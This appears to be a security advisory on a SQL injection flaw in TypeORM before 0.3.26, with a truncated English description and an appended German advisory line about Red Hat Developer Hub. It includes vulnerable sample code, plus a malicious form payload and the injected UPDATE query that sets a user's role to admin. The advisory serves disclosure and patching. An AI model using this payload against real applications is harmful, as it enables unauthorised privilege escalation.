SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.

Affected: npm: typeorm

### Summary

SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.

### Details

Vulnerable Code:

```js const { username, city, name} = req.body; const updateData = { username, city, name, id:userId }; // Developer aims to only allow above three fields to be updated const result = await userRepo.save(updateData); ```

Intended Payload (non-malicious):

` username=myusername&city=Riga&name=Javad `

_OR_

`{username:\"myusername\",phone:12345,name:\"Javad\"} `

SQL query produced:

```sql UPDATE `user` SET `username` = 'myusername', `city` = 'Riga', `name` = 'Javad' WHERE `id` IN (1);

```

Malicious Payload:

`username=myusername&city[name]=Riga&city[role]=admin `

_OR_

`{username:\"myusername\",city:{name:\"Javad\",role:\"admin\"}} `

SQL query produced with Injected Column:

```sql UPDATE `user` SET `username` = 'myusername', `city` = `name` = 'Javad', `role` = 'admin' WHERE `id` IN (1);

``` _Above query is valid as `city` = `name` = `Javad` is a boolean expression resulting in `city` = 1 (false). “role” column is injected and updated._

Underlying issue was due to TypeORM using mysql2 [without specifying a value for the stringifyObjects option](https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts). In both mysql and mysql2 this [option defaults to false](https://g…

TypeORM: SQL Injection via crafted request to repository.save or repository.update

Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux Developer Hub ausnutzen, um eine SQL-Injection durchzuführen und möglicherweise Sicherheitsmaßnahmen zu umgehen, Daten zu ändern oder Berechtigungen zu erweitern.